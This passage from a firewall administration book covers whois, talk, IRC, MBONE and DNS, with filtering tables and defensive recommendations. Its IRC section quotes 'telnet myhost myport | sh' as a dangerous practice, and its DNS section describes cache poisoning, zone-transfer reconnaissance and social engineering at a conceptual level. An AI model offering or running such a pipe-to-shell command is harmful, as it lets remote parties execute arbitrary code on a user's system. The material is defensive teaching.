The data that is available via whois is not necessarily of much interest to normal users. Although long-time Internet users may believe otherwise, whois provides data about only a fraction of the people on the Internet. Unless you're looking for information about somebody who runs a site, whois probably isn't going to tell you anything useful, and what it does tell you may not be up to date. At most sites, the only people who have any use for it are system and network administrators. Many NICs also make much of this data available via other methods, such as the World Wide Web.

On the other hand, there have been no known security problems with whois clients and any that occurred would have to be data-driven. (All that a whois server can do to a client is to return data.) Because whois is almost never used with arbitrary servers, in order to do any real damage somebody who manages to find a data-driven bug in a whois client would have to compromise, subvert, or forge packets from the most frequently used and most secure machines on the Internet. Furthermore, while finger shows data that was entered by random users, whois pulls its information from a central database. Therefore, if your users want to use whois clients, there's no reason to prevent them. If they don't have any particular desire to use whois, there's no reason to make it available.

8.8.2.1 Packet filtering characteristics of whois

whois is TCP-based. Servers use port 43. Clients use random ports above 1023.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
Out | Int | Ext | TCP | >1023 | 43 | [29] | Outgoing query, client to server
In | Ext | Int | TCP | 43 | >1023 | Yes | Incoming response, server to client

[29] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.8.2.2 Proxying characteristics of whois

SOCKS does not provide a modified whois client, and TIS FWTK does not provide a whois proxy server. Because whois is a straightforward single-connection protocol with plenty of user-specified data, it would be trivial to modify whois clients for SOCKS, and relatively simple to write a modified-procedure proxy server for it. Because most whois connections are to a single host (rs.internic.net), you could use the TIS FWTK plug-gw program on your bastion host to relay all connections to the whois port on the bastion host on to rs.internic.net.

8.8.2.3 Summary of whois recommendations

  • You don't need to run an externally visible whois server.

  • Don't allow incoming whois queries unless you put a server up.

  • Allow outgoing whois queries, at least from the machines your system and network administrators are likely to use.

Previous: 8.7 Other Information Services | Building Internet Firewalls | Next: 8.9 Real-Time Conferencing Services
8.7 Other Information Services | Book Index | 8.9 Real-Time Conferencing Services


[Chapter 8] 8.9 Real-Time Conferencing Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.8 Information Lookup Services Chapter 8
Configuring Internet Services 		Next: 8.10 Domain Name System (DNS)

8.9 Real-Time Conferencing Services

There are several services available on the Internet that allow people to interact in real time on the Internet, including talk, IRC, and various services provided over the MBONE.

8.9.1 talk

talk is a text-based real-time two-person conferencing system; it allows two people to establish a "chat" session with each other. Each of their screens gets split into two sections; what one person types appears in one section; what the other person types appears in the other section.

talk is very convoluted in that it uses UDP to negotiate the connections between the two sites and then uses TCP to actually move the data back and forth between the participants. UDP is used between the calling client and the answering server, and again between the answering client and the calling server; TCP is then used between the two clients.

To further complicate matters, there are two incompatible versions of the talk protocol, commonly referred to as either talk and ntalk (for "new talk") or otalk (for "old talk") and talk, depending on who you ask. The earlier version depended on bytes being in a certain order in memory, and basically worked only between machines of the same CPU type. The later version fixes this problem, but is incompatible with the earlier version.

The calling client contacts the answering server via UDP to announce the call. The answering server tells the user being called that someone is requesting a talk session and how he should respond if he wishes to accept the call. While waiting for the user to respond, the calling client also contacts the calling server to say that it's expecting an incoming call and to specify what TCP port it wishes to use for that call (somewhat like calling your secretary to say that you're expecting a call back from someone, and that it should be put through to the extension you're currently at). When the answering user accepts, that user's client (the answering client) contacts the calling server via UDP to find out what port the calling client is waiting on; the answering client then contacts the calling client on that TCP port. Figure 8.11 shows how talk works.

Figure 8.11: How talk works

Because of the incompatible talk protocols, talk fails relatively often even between sites that do no packet filtering, or between machines of different types within the same site. talk clients and servers are generally provided only on UNIX machines.

8.9.1.1 Packet filtering characteristics of talk

talk servers (which broker connections between talk clients, and then get out of the way) use either UDP port 517 (for old versions of talk) or UDP port 518 (for newer versions). talk clients use UDP ports above 1023 to interact with talk servers. talk clients also use TCP ports above 1023 to interact with each other. This means that, in order to allow talk across your firewall, you'd have to allow TCP connections where both ends are using arbitrary ports above 1023; this isn't safe because of vulnerabilities like X11 servers that use ports above 1023.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | UDP | >1023 | 517 518[30] | [31] | External client contacting internal server
Out | Int | Ext | UDP | 517 518[30] | >1023 | [31] | Internal server answering external client
Out | Int | Ext | UDP | >1023 | 517 518 [30] | [31] | Internal client contacting external server
In | Ext | Int | UDP | 517 518 [30] | >1023 | [31] | External server answering internal client
Out | Int | Ext | TCP | >1023 | >1023 | [32] | Internal client communicating with external client
In | Ext | Int | TCP | >1023 | >1023 | [32] | External client communicating with internal client

[30] Old versions of talk use port 517; newer versions use port 518.

[31] UDP packets do not have ACK bits.

[32] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.9.1.2 Proxying characteristics of talk

There are no available proxies for talk. It would theoretically be possible to write one. Because talk involves internal and external clients simultaneously, it would almost have to be a modified-procedure proxy server. (No generic server would handle it, in any case, because it involves both TCP and UDP.) Given the considerable difficulty of writing a talk proxy, and the extreme fragility of the process, it's unlikely that one will become available any time soon. It's more likely that talk will be abandoned altogether for cross-Internet conversations, in favor of something like IRC, which we describe in the next section.

8.9.1.3 Summary of talk recommendations

  • It is impossible to safely allow talk through filters, or to proxy it, so you can't allow talk between the Internet and your internal machines. If, for some reason, you absolutely must allow talk, you will need to put a victim machine on your perimeter net that is untrusted and has no confidential data, and allow users to log into it and run talk from there.

8.9.2 Internet Relay Chat (IRC)

IRC is a multiuser text-based real-time conferencing system. Users run IRC client programs to connect to IRC servers. IRC servers are arranged in a spanning tree, and talk to each other to pass messages to all of the clients. Figure 8.12 shows how the IRC servers are connected. Clients might connect to any of these servers.

Most of the security problems with IRC are related to who uses it and how, not to the protocol per se. As we mentioned in Chapter 2, many clients allow servers far more access to local resources (files, processes, programs, etc.) than they should, and a malicious server can wreak havoc with a weak or poorly configured client. Further, some of the frequent users of IRC have a nasty habit of persuading new users to naively run commands which those users think will do neat things on their systems, but which instead trash these systems.

Many well-intentioned IRC users are simply naive about security. For example, they think it's really neat to distribute software by putting up a little server on their machine, and advising people to "telnet myhost myport | sh" to have the software installed for them, which allows external users to install the software without interaction from the user, but would also let them run any command whatsoever on the internal user's host as that user. It's close to impossible to distinguish hostile people from naive ones, and users should be advised to never issue any command, in or out of their IRC client, just because somebody advised them to over IRC.

Although these problems are widespread on IRC, IRC is also a useful and popular way for people to talk to each other. Text-based, multiuser, real-time communication can be handy; it has many of the advantages of teleconferencing for a much lower price tag.

You should be able to safely run an IRC server in a restricted (chroot'ed) environment on a bastion host, but it would be somewhat bizarre to run a server without having any local clients that could access it, and a server that could access the Internet would probably not be safe for clients to talk to. You may want to run one inside your firewall for private IRC conferencing.

Many IRC clients support something called Direct Client Connections (DCC). DCC allows two IRC clients to negotiate and establish a direct TCP connection between themselves, bypassing all the servers except for the initial negotiation. Figure 8.12 depicts the IRC server tree.

Figure 8.12: IRC server tree

8.9.2.1 Packet filtering characteristics of IRC

IRC is a TCP-based service. Servers generally listen for incoming connections (from both clients and other servers) on port 6667, although some servers use other port numbers. Clients (and servers contacting other servers) use ports above 1023.

Clients use ports above 1023 to talk to other clients using DCC. To start, the calling client passes an invitation to the called client through the normal IRC server channels. The invitation includes a TCP port number where the calling client is listening for an incoming connection. The called client, if it chooses to accept the invitation, opens a TCP connection to that port.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 6667 | [33] | External client or server contacting internal server
Out | Int | Ext | TCP | 6667 | >1023 | Yes | Internal server answering external client or server
Out | Int | Ext | TCP | >1023 | 6667 | [33] | Internal client or server contacting external server
In | Ext | Int | TCP | 6667 | >1023 | Yes | External server answering internal client or server
In | Ext | Int | TCP | >1023 | >1023 | [33] | DCC connection requested by internal client; external client answering invitation from internal client
Out | Int | Ext | TCP | >1023 | >1023 | Yes | DCC connection requested by internal client
Out | Int | Ext | TCP | >1023 | >1023 | [33] | DCC connection requested by external client; internal client answering invitation from external client
In | Ext | Int | TCP | >1023 | >1023 | Yes | DCC connection requested by external client

[33] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.9.2.2 Proxying characteristics of IRC

Because of the spanning tree architecture, any IRC server serves as a proxy server. To configure IRC for proxying, simply put an IRC server on the proxy host and point your internal clients at it.

8.9.2.3 Summary of IRC recommendations

  • Although it's theoretically possible to proxy IRC, or to allow just IRC through filters, it's probably not a good idea, because of the weaknesses of the clients. The best way to allow IRC is to put an untrusted victim machine with no confidential data on a perimeter network and let users log into that machine to run IRC.

  • If you run an internal IRC server, be sure it can't contact or be contacted by external IRC servers; otherwise it will effectively proxy for your IRC clients and for attacks against them from the outside.

  • If you do allow IRC across your firewall, you can't allow DCC connections to be requested by internal clients, because that would involve accepting incoming TCP connections from external clients to any port above 1023 on the internal machines. You could allow internal clients to establish DCC connections requested by external clients, however, if you're willing to let internal machines talk to any TCP port above 1023 on any external machine.

8.9.3 The Multicast Backbone (MBONE)

Most network technologies provide a way for a sending station to address a message to a particular receiving station: this is called unicasting. Many network technologies also provide a way for a sending station to address a message to all possible receiving stations: this is called broadcasting. Some network technologies also provide something in the middle, a way for a sending station to address a message to a particular set of receiving stations, without broadcasting the message to all stations: this is called multicasting.

Multicasting is particularly useful when you're dealing with high-bandwidth applications like audio and video conferencing. With such applications, you may have a number of stations all receiving the same stream of packets, and the stream may consume a significant fraction of the available network bandwidth. If a given stream consumes 10% of your available network bandwidth (which is not uncommon), you wouldn't want to unicast it to each interested host, because each of these unicasts would consume another 10% of your bandwidth, limiting you to 10 participating hosts, and that assumes that you did nothing else with the network. You also wouldn't want to broadcast it to all hosts unless all (or almost all) of your hosts were actually interested in the stream, because it places a significant load on each host to process a broadcast packet and then decide to ignore it.

IP multicasting provides a way to send packets to groups of IP hosts. With IP multicasting, groups of hosts that wish to receive a particular type of packet (e.g., a particular video stream) are assigned an IP multicast address they all share. An IP multicast address looks like a normal IP address in the range 224.0.0.0 through 239.255.255.255. IP multicast addresses are only used as destination addresses; they are never valid as source addresses (multicast packets use the regular IP address of the sending host as their source address).

Multicast groups are somewhat like cable television channels. There are a variety of channels (multicast groups) available, such as HBO, CNN, ESPN, and MTV, but most homes (hosts) subscribe to only a few of the available channels. Some multicast groups are permanent; that is, certain addresses are reserved for certain uses, such as Internet Engineering Task Force (IETF) meetings, NASA select video feeds (whenever the space shuttle is in orbit), and so on. Other multicast groups are transient: set up for a particular purpose or event and then shut down when they are no longer needed, to be reused for something else later on.

Multicasting is being used on the Internet today primarily for real-time conferencing services, including video, audio, and electronic whiteboard services. It's starting to be used for other services as well, such as transmitting Usenet news efficiently to a wide body of recipients.

Commercial products, such as routers and hosts, are just starting to support multicasting. Some networking technologies such as Ethernet support multicast directly. You can send an Ethernet packet of information to a magic Ethernet address on a given Ethernet segment, and all hosts on that segment that are listening for that Ethernet address will receive that packet. Other networking technologies, e.g., point-to-point leased lines, don't support multicast, so the effect has to be faked by turning a multicast packet into a series of duplicate unicast packets, each addressed to one of the multicast participants.

Obviously, you want to limit the number of duplicate unicast packets on these point-to-point leased lines, so a common approach to linking two multicast-capable networks (such as Ethernets) over a unicast-only network (such as a T1 leased line) is to create a tunnel over the unicast network, with multicast routers (often called mrouters) at either end of the tunnel. These mrouters take multicast IP packets, encapsulate them into unicast IP packets, and send them (via regular IP unicast) through the tunnel to the mrouter on the other end, which unencapsulates them to turn them back into multicast IP packets. By creating a web of mrouters and tunnels, you can create a virtual multicast network on top of a unicast backbone.

The MBONE is the ad hoc Multicast Backbone on the Internet, and is just such a web of mrouters and tunnels. Its participants are sites that are interested in using IP multicasting for a variety of services on the Internet.

IP multicasting brings up several firewall issues. If a site uses tunneling to take part in the MBONE, what do the packets for the tunnels look like? What could be sent through the tunnels? If a site doesn't use tunnels, but uses IP multicasting directly, how will the site's packet filtering system deal with it? Can nonmulticast services (such as SMTP, NFS, NIS/YP, and so on) be accessed by attackers via multicast, whether tunneled or not?

IP multicast tunneling is currently done with IP-in-IP encapsulation. That is, a multicast IP packet is encapsulated into a regular IP packet, in much the same way that a TCP or UDP packet normally is. Instead of the usual IP packet containing a UDP packet, for example, you have an IP unicast packet that contains an IP multicast packet that, in turn, contains a UDP packet. Thus, if tunneled multicast packets need to cross a packet filtering system, the system needs to recognize IP-in-IP packets, in much the same way that it recognizes TCP, UDP, and ICMP packets. If your packet filtering system doesn't recognize IP-in-IP by name, but will allow you to specify protocol numbers instead, you need to know that IP-in-IP is protocol number 4 (for comparison, ICMP is 1, TCP is 6, and UDP is 17).

IP multicast tunnels used to be done with source-routed IP packets, but this practice caused a number of problems (not the least of which was upsetting folks who had firewalls), and it is no longer recommended.

To prevent a multicast tunnel from being used as a back door into or out of a network, the current publicly available mrouter code will only accept multicast packets through the tunnel; it won't accept unicast packets shoved through the tunnel in an attempt to bypass your firewall. If you're using a commercial multicast router, rather than the publicly available code off the Internet, you should verify that it will behave in a similar way.

If you have routers and a network topology that support multicast directly, without tunnels, you still have to worry about how any packet filtering system you use is going to cope with it. It shouldn't be too difficult, though, because from a packet filtering point of view, multicast packets just look like regular packets with somewhat unusual destination addresses (in the range 224.0.0.0 through 239.255.255.255). Treat them just as you would anything else: block them all by default and allow the ones you understand and want to support. Keep in mind that each of these multicast addresses is going to apply to multiple internal machines, and that if you're accepting multicast packets from the outside world, then all of the internal machines that are accepting those packets will have to be protected against attack from the outside world - just as if you were accepting any other packets directly from the outside world.

Even if your tunnel is restricted to only multicast packets, or if you're using multicast directly without tunneling, there is still the question of how your hosts will respond to multicast packets addressed to regular ports, such as your NIS/YP and NFS ports. Unfortunately, behavior varies from operating system to operating system, and even from release to release within the same operating system. If your operating system's code is based on Release 3.3 or later of the "IP Multicast Extensions for BSD-Derived UNIX Systems" from Xerox PARC and the University of Delaware, then your system should be safe against these kinds of attacks. Unless you installed the multicast extensions yourself, however, you could have a very difficult time determining what your operating system's multicast code is based on. (Your best bet is to ask your vendor, but don't be surprised if it's difficult to find anybody who knows.)

Previous: 8.8 Information Lookup Services | Building Internet Firewalls | Next: 8.10 Domain Name System (DNS)
8.8 Information Lookup Services | Book Index | 8.10 Domain Name System (DNS)


[Chapter 8] 8.10 Domain Name System (DNS)

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.9 Real-Time Conferencing Services Chapter 8
Configuring Internet Services 		Next: 8.11 syslog

8.10 Domain Name System (DNS)

DNS is a distributed database system that translates hostnames to IP addresses and IP addresses to hostnames (e.g., it translates hostname miles.somewhere.net to IP address 192.168.244.34). DNS is also the standard Internet mechanism for storing and accessing several other kinds of information about hosts; it provides information about a particular host to the world at large. For example, if a host cannot receive mail directly, but another machine will receive mail for it and pass it on, that information is communicated with an MX record in DNS.

DNS clients include any program that needs to do any of the following:

  • Translate a hostname to an IP address

  • Translate an IP address to a hostname

  • Obtain other published information about a host (such as its MX record)

Fundamentally, any program that uses hostnames can be a DNS client. This includes essentially every program that has anything to do with networking, including both client and server programs for Telnet, SMTP, FTP, and almost any other network service. DNS is thus a fundamental networking service, upon which other network services rely.

Other protocols may be used to provide this kind of information. For example, NIS/YP is used to provide host information within a network. However, DNS is the service used for this purpose across the Internet, and clients that need to access Internet hosts will have to use DNS, directly or indirectly. On networks that use NIS/YP or other methods internally, the server for the other protocol usually acts as a DNS proxy for the client. Many clients can also be configured to use multiple services, so that if a host lookup fails, it will retry using another method. Thus, it might start by looking in NIS/YP, which will show only local hosts, but try DNS if that fails, or it might start by looking in DNS, and then try a file on its own disk if that fails (so that you can put in personal favorite names, for example).

In UNIX, DNS is implemented by the Berkeley Internet Name Domain (BIND). On the client side is the resolver, a library of routines called by network processes. On the server side is a daemon called named (also known as in.named on some systems).

DNS is designed to forward queries and responses between clients and servers, so that servers may act on behalf of clients or other servers. This capability is very important to your ability to build a firewall that handles DNS services securely.

How does DNS work? Essentially, when a client needs a particular piece of information (e.g., the IP address of host ftp.somewhere.net), it asks its local DNS server for that information. The local DNS server first examines its own cache to see if it already knows the answer to the client's query. If not, the local DNS server asks other DNS servers, in turn, to discover the answer to the client's query. When the local DNS server gets the answer (or decides that it can't for some reason), it caches any information it got[34] and answers the client. For example, to find the IP address for ftp.somewhere.net, the local DNS server first asks one of the public root nameservers which machines are nameservers for the net domain. It then asks one of those net nameservers which machines are nameservers for the somewhere.net domain, and then it asks one of those nameservers for the IP address of ftp.somewhere.net.

[34] Some servers will cache the fact that the query failed, on some types of failures; others cache only information retrieved on a successful query.

This asking and answering is all transparent to the client. As far as the client is concerned, it has communicated only with the local server. It doesn't know or care that the local server may have contacted several other servers in the process of answering the original question.

8.10.1 Packet Filtering Characteristics of DNS

There are two types of DNS network activities: lookups and zone transfers. Lookups occur when a DNS client (or a DNS server acting on behalf of a client) queries a DNS server for information, e.g., the IP address for a given hostname, the hostname for a given IP address, the name server for a given domain, or the mail exchanger for a given host. Zone transfers occur when a DNS server (the secondary server) requests from another DNS server (the primary server) everything the primary server knows about a given piece of the DNS naming tree (the zone). Zone transfers happen only among servers that are supposed to be providing the same information; a server won't try to do a zone transfer from a random other server under normal circumstances. People occasionally do zone transfers in order to gather information (this is OK when they're calculating what the most popular hostname on the Internet is, but bad when they're trying to find out what hosts to attack at your site).

For performance reasons, DNS lookups are usually executed using UDP. If some of the data is lost in transit by UDP (remember that UDP doesn't guarantee delivery), the lookup will be redone using TCP. There may be other exceptions. Figure 8.13 shows a DNS name lookup.

Figure 8.13: DNS name lookup

A DNS server uses well-known port 53 for all its UDP activities and as its server port for TCP. It uses a random port above 1023 for TCP requests. A DNS client uses a random port above 1023 for both UDP and TCP. You can thus differentiate between the following:

  • A client-to-server query - source port is above 1023, destination port is 53.

  • A server-to-client response - source port is 53, destination port is above 1023.

  • A server-to-server query or response - at least with UDP, where both source and destination port are 53; with TCP, the requesting server will use a port above 1023.

DNS zone transfers are performed using TCP. The connection is initiated from a random port above 1023 on the secondary server (which requests the data) to port 53 on the primary server (which sends the data requested by the secondary). A secondary server must also do a regular DNS query of a primary server to decide when to do a zone transfer. Figure 8.14 shows a DNS zone transfer.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | UDP | >1023 | 53 | [35] | Incoming query via UDP, client to server
Out | Int | Ext | UDP | 53 | >1023 | [35] | Answer to incoming UDP query, server to client
In | Ext | Int | TCP | >1023 | 53 | [36] | Incoming query via TCP, client to server
Out | Int | Ext | TCP | 53 | >1023 | Yes | Answer to incoming TCP query, server to client
Out | Int | Ext | UDP | >1023 | 53 | [35] | Outgoing query via UDP, client to server
In | Ext | Int | UDP | 53 | >1023 | [35] | Answer to outgoing UDP query, server to client
Out | Int | Ext | TCP | >1023 | 53 | [36] | Outgoing query via TCP, client to server
In | Ext | Int | TCP | 53 | >1023 | Yes | Answer to outgoing TCP query, server to client
In | Ext | Int | UDP | 53 | 53 | [35] | Query or response between two servers via UDP
Out | Int | Ext | UDP | 53 | 53 | [35] | Query or response between two servers via UDP
In | Ext | Int | TCP | >1023 | 53 | [36] | Query from external server to internal server via TCP; also zone transfer request from external secondary server via TCP
Out | Int | Ext | TCP | 53 | >1023 | Yes | Answer from internal server to external server via TCP; also zone transfer response to external secondary server via TCP
Out | Int | Ext | TCP | >1023 | 53 | [36] | Query from internal server to external server via TCP
In | Ext | Int | TCP | 53 | >1023 | Yes | Answer from external server to internal server via TCP

[35] UDP packets do not have ACK bits.

[36] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

Figure 8.14: DNS zone transfer

8.10.2 Proxying Characteristics of DNS

DNS is structured so that servers always act as proxies for clients. It's also possible to use a DNS feature called forwarding so that a DNS server is effectively a proxy for another server. The remainder of this DNS discussion describes the use of these built-in proxying features of DNS.

In most implementations, it would be possible to modify the DNS libraries to use a modified-client proxy. On machines that do not support dynamic linking, using a modified-client proxy for DNS would require recompiling every network-aware program. Because users don't directly specify server information for DNS, modified-procedure proxies seem nearly impossible.

8.10.3 DNS Data

The DNS is a tree-structured database, with servers for various subtrees scattered throughout the Internet. There are a number of defined record types in the tree, including:[37]

[37] For detailed information about DNS record types, what they mean, and how to use them, see DNS and BIND, referenced earlier in this chapter.

Record Type | Usage
A | Translates hostname to IP address
PTR | Translates IP address to hostname
CNAME | Translates host alias to hostname ("canonical" name)
HINFO | Gives hardware/software information about a host
NS | Delegates a zone of the DNS tree to some other server
SOA | Denotes start of authority for a zone of the DNS tree
TXT | Unstructured text records

In fact, there are two separate DNS data trees: one for obtaining information by hostname (such as the IP address, CNAME record, HINFO record, or TXT record that corresponds to a given hostname), and one for obtaining information by IP address (the hostname for a given address).

For example, here is a sample of the DNS data for a fake domain somebody.net:

somebody.net. IN SOA tiger.somebody.net. root.tiger.somebody.net. (
                        1001      ; serial number
                        36000       ; refresh (10 hr)
                        3600        ; retry (1 hr)
                        3600000     ; expire (1000 hr)
                        36000       ; default ttl (10 hr)
                        )
               IN  NS       tiger.somebody.net.
               IN  NS       lion.somebody.net.
tiger          IN  A        192.168.2.34
               IN  MX       5 tiger.somebody.net.
               IN  MX       10 lion.somebody.net.
               IN  HINFO    INTEL-486 BSDI
ftp            IN  CNAME    tiger.somebody.net.
lion           IN  A        192.168.2.35
               IN  MX       5 lion.somebody.net.
               IN  MX       10 tiger.somebody.net.
               IN  HINFO    SUN-3 SUNOS
www            IN  CNAME    lion.somebody.net.
wais           IN  CNAME    lion.somebody.net.
alaska         IN  NS       bear.alaska.somebody.net.
bear.alaska    IN  A        192.168.2.81

This domain would also need a corresponding set of PTR records to map IP addresses back to hostnames. To translate an IP address to a hostname, you reverse the components of the IP address, append .IN-ADDR.ARPA, and look up the DNS PTR record for that name. For example, to translate IP address 1.2.3.4, you would look up the PTR record for 4.3.2.1.IN-ADDR.ARPA.

2.168.192.IN-ADDR.ARPA. IN  SOA tiger.somebody.net.root.tiger.somebody.net. (
                                 1001     ; serial number
                                 36000    ; refresh (10 hr)
                                 3600     ; retry (1 hr)
                                 3600000  ; expire (1000 hr)
                                 36000    ; default ttl (10 hr)
                                  )
                         IN  NS  tiger.somebody.net.
                         IN  NS  lion.somebody.net.
34                       IN  PTR tiger.somebody.net.
35                       IN  PTR lion.somebody.net.
81                       IN  PTR bear.alaska.somebody.net.

8.10.4 DNS Security Problems

There are some security problems with DNS that are described below.

8.10.4.1 Bogus answers to DNS queries

The first security problem with DNS is that many DNS servers and clients can be tricked by an attacker into believing bogus information. Many clients and servers don't check to see whether all the answers they get relate to questions they actually asked, or whether the answers they get are coming from the server they asked. Servers, in particular, may cache these "extra" answers without really thinking about it, and answer later queries with this bogus cached data. This lack of checking can allow an attacker to give false data to your clients and servers. For example, an attacker could use this capability to load your server's cache with information that says that his IP address maps to the hostname of a host you trust for password-less access via rlogin. (This is only one of several reasons you shouldn't allow the BSD "r" commands across your firewall; see the full discussion of these commands earlier in this chapter.)

NOTE: Later versions of DNS for UNIX (BIND 4.9 and later) check for bogus answers and are less susceptible to these problems. Earlier versions, and DNS clients and servers for other platforms, may still be susceptible.

8.10.4.2 Mismatched data between the hostname and IP address DNS trees

The attack described in the previous section points out the problem of mismatched data between the hostname and IP address trees in the DNS. In a case like the one we've described, if you look up the hostname corresponding to the attacker's IP address (this is called a reverse lookup), you get back the name of a host you trust. If you then look up the IP address of this hostname (which is called a double-reverse lookup), you should see that the IP address doesn't match the one the attacker is using. This should alert you that something suspicious is going on. Reverse and double-reverse lookups are described in more detail in the section called "Set up a `fake' DNS server on the bastion host for the outside world to use" later in this DNS discussion.

Any program that makes authentication or authorization decisions based on the hostname information it gets from DNS should be very careful to validate the data with this reverse lookup/double-reverse lookup method. In some operating systems (for example, SunOS 4.x and later), this check is automatically done for you by the gethostbyaddr() library function. In most other operating systems, you have to do the check yourself. Make sure that you know which approach your own operating system takes and make sure that the daemons that are making such decisions in your system do the appropriate validation. (And be sure you're preserving this functionality if you modify or replace the vendor's libc.) Better yet, don't do any authentication or authorization based solely on hostname or even on IP address; there is no way to be sure that a packet comes from the IP address it claims to come from, unless there is some kind of cryptographic authentication within the packet that only the true source could have generated.

Some implementations of double-reverse lookup fail on hosts with multiple addresses, e.g., dual-homed hosts used for proxying. If both addresses are registered at the same name, a DNS lookup by name will return both of them, but many programs will read only the first. If the connection happened to come from the second address, the double-reverse will incorrectly fail even though the host is correctly registered. Although you should avoid using double-reverse implementations that have this flaw, you may also want to ensure that on your externally visible multi-homed hosts, lookup by address returns a different name for each address, and that those names have only one address returned when it is looked up. For example, for a host named "foo" with two interfaces named "e0" and "e1", have lookups of "foo" return both addresses, lookups of "foo-e0" and "foo-e1" return only the address of that interface, and lookups by IP address return "foo-e0" or "foo-e1" (but not simply "foo") as appropriate.

NOTE: For internal multi-homed hosts, you probably don't want to set things up in the way we've described; if you do, you may end up needing to list them by multiple names anywhere you want to give them permissions, such as in /etc/exports files.

8.10.4.3 Revealing too much information to attackers

Another problem you may encounter when supporting DNS with a firewall is that it may reveal information that you don't want revealed. Some organizations view internal hostnames (as well as other information about internal hosts) as confidential information. They want to protect these host names much as they do their internal telephone directories. They're nervous because internal hostnames may reveal project names or other product intelligence, or because these names may reveal the type of the hosts (which may make an attack easier). For example, it's easy to guess what kind of system something is if its name is "lab-sun" or "cisco-gw".

Even the simplest hostname information can be helpful to an attacker who wants to bluff his way into your site, physically or electronically. Using information in this way is an example of what is commonly called a social engineering attack. The attacker first examines the DNS data to determine the name of a key host or hosts at your site. Such hosts will often be listed as DNS servers for the domain, or as MX gateways for lots of other hosts. Next, the attacker calls or visits your site, posing as a service technician, and says he needs to work on these hosts. He'll ask for the passwords for the hosts (if he calls on the telephone), or ask to be shown to the machine room (if he visits the site). Because the attacker seems legitimate, and seems to have inside information about the site - after all, he knows the names of your key hosts - he'll often gain access. Social engineering attacks like this takes a lot of brazenness on the part of the attacker, particularly if he actually visits your site, but you'd be amazed at how often such attacks succeed.

Besides internal hostnames, other information is often placed within the DNS; information which is useful locally, but which you'd really rather an attacker not have access to. DNS HINFO and TXT resource records are particularly revealing:

HINFO: Host information records

These name the hardware and operating system release that a machine is running: it's very useful information for system and network administrators, but also tells an attacker exactly which list of bugs to try on that machine.

TXT: Textual information records

These are essentially short unformatted text records used by a variety of different services to provide various information. For example, some versions of Kerberos and related tools use these records to store information that, at another site, might be handled by NIS/YP.

Attackers will often obtain DNS information about your site wholesale by contacting your DNS server and asking for a zone transfer, as if they were a secondary server for your site. You can either prevent this with packet filtering (by blocking TCP-based DNS queries, which will unfortunately block more than just zone transfers) or through the xfernets directive of current implementations of BIND (see the BIND documentation for more information).

The question to keep in mind when considering what DNS data to reveal is, "Why give attackers any more information than necessary?" The following sections provide some suggestions to help you reveal only the data you want people to have.

8.10.5 Setting Up DNS to Hide Information

We've mentioned that DNS has a query-forwarding capability.[38] By taking advantage of this capability, you can give internal hosts an unrestricted view of both internal and external DNS data, while restricting external hosts to a very limited ("sanitized") view of internal DNS data. You might want to do this for such reasons as:

[38] Cricket Liu has pointed out that the strategies described in this section do not work for subdomains. If you are using subdomains, refer to http://www.greatcircle.com/firewalls-book/errata.html or to the second edition of DNS and BIND.

  • Because your internal DNS data is too sensitive to show to everybody.

  • Because you know that your internal DNS servers don't all work perfectly and you want a better-maintained view for the outside world.

  • Because you want to give certain information to external hosts and different information to internal hosts (for example, you want internal hosts to send mail directly to internal machines, but external hosts to see an MX record directing the mail to a bastion host).

Figure 8.15 shows how to set up DNS to hide information; the following sections describe all the details.

Figure 8.15: A firewall can be used to hide DNS information

8.10.5.1 Set up a `fake' DNS server on the bastion host for the outside world to use

The first step in hiding DNS information from the external world is to set up a fake DNS server on a bastion host. This server claims to be authoritative for your domain. Make it the server for your domain that is named by the Name Server records maintained by your parent domain. If you have multiple such servers for the outside world to talk to (which you should - some or all of the rest may belong to your service provider), make your fake server the primary server of the set of authoritative servers; make the others secondaries of this primary server.

As far as this fake server on the bastion host is aware, it knows everything about your domain. In fact, though, all it knows about is whatever information you want revealed to the outside world. This information typically includes only basic hostname and IP address information about the following hosts:

  • The machines on your perimeter network (i.e., the machines that make up your firewall).

  • Any machines that somebody in the outside world needs to be able to contact directly. One example of such a machine is an internal Usenet news (NNTP) server that is reachable from your service provider. (See the section on NNTP elsewhere in this chapter for an example of why you might want to allow this.) Another example is any host reachable over the Internet from trusted affiliates. External machines need an externally visible name for such an internal machine; it need not be the internal machine's real name, however, if you feel that the real name is somehow sensitive information, or you just want to be able to change it on a whim.

In addition, you'll need to publish MX records for any host or domain names that are used as part of email addresses in email messages and Usenet news postings, so that people can reply to these messages. Keep in mind that people may reply to messages days, weeks, months, or even years after they were sent. If a given host or domain name has been widely used as part of an email address, you may need to preserve an MX record for that host or domain forever, or at least until well after it's dead and gone, so that people can still reply to old messages. If it has appeared in print, "forever" may be all too accurate; sites still receive electronic mail for machines decommissioned five and 10 years ago.

You will also need to publish fake information for any machines that can contact the outside world directly. Many servers on the Internet (for example, most major anonymous FTP servers) insist on knowing the hostname (not just the IP address) of any machines that contact them, even if they do nothing with the hostname but log it. In the DNS resource records, A (name-to-address mapping) records and PTR (address-to-name mapping) records handle lookups for names and addresses.

As we've mentioned earlier, machines that have IP addresses and need hostnames do reverse lookups. With a reverse lookup, the server starts with the remote IP address of the incoming connection, and looks up the hostname that the connection is coming from. It takes the IP address (for example, 172.16.19.67), permutes it in a particular way (reverses the parts and adds .IN-ADDR.ARPA to get 67.19.16.172.IN-ADDR.ARPA, and looks up a PTR record for that name. The PTR record should return the hostname for the host with that address (e.g., mycroft.somewhere.net), which the server then uses for its logs or whatever.

